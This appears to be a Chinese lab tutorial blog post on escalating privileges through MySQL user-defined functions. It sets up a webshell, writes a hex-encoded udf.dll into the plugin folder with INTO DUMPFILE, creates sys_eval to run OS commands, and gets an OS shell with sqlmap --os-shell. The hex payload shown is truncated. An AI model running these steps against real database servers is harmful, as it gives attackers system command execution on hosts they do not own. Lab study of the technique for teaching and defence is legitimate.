mysql_udf提权

0x00. 环境配置:

  1. 安装phpstudy,并且以系统服务模式启动
    在这里插入图片描述
  2. 创建普通用户
    在这里插入图片描述
  3. 在服务中将Apache以普通账户启动
    在这里插入图片描述
  4. 赋予apache目录下logs普通账户写入权限
    在这里插入图片描述
  5. 连接大马,测试下当前我们的权限
    在这里插入图片描述

0x01. UDF介绍与使用:

  1. 什么是udf:
    udf(Userdefined function)是用户自定义函数。在mysql中函数是什么?比如mysql中常见的sleep(),sum(),ascii()等都是函数。而udf就是为了让我们开发者能够自己写方便自己函数
  2. 为了在mysql中使用此函数,须将udf.dll放在特定文件夹下。

1.Mysql版本大于5.1,udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下(plugin文件夹默认不存在,需要创建)
2.Mysql版本小于5.1: 如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下 如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下

  1. 在mysql中引用自定义函数
create function cmdshell return string soname 'udf.dll'
  1. 执行命令
select cmdshell("whoami");

0x02. udf提权条件

  1. 获得一个数据库账号,拥有对MySQL的insert和delete权限,以root为佳
  2. 拥有将udf.dll写入相应目录的权限
  3. mysql关闭了安全模式

0x03. udf提权过程

整体思路:

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  2. 从udf文件中引入自定义函数(user defined function)
  3. 执行自定义函数
  1. 获取mysql安装路径
select @@basedir;

在这里插入图片描述
关闭mysql安全模式:
修改my.ini文件,加入secure_file_priv = “”
在这里插入图片描述
2. 创建plugin文件夹
测试使用ntfs数据流创建,测试失败

select 'test' into dumpfile 'C:\\tools\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

在这里插入图片描述
最后手动创建
3. 将dll文件写入plugin目录,并且创建函数
创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据

create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "C:\\tools\\PHPTutorial\\MySQL5.7.26\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll';   #创建函数sys_eval

问题:在执行 create function sys_eval returns string soname ‘udf.dll’; 命令时出现 **Can’t open shared library ‘udf.dll’ (errno: 193 )**的错误
在这里插入图片描述
4. 测试执行系统命令
在将 udf.dll 文件写入plugin目录后,我们就可以使用 sys_eval 函数了。
select * from mysql.func where name = ‘sys_eval’; #查看创建的sys_eval函数
select sys_eval(‘whoami’); #执行系统命令
在这里插入图片描述

0x04. sqlmap提权

  1. 条件:开启mysql外连
    在这里插入图片描述
  2. 命令:
sqlmap.py -d "mysql://root:root@xx.xx.xx.xx:3306/mysql" --os-shell

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值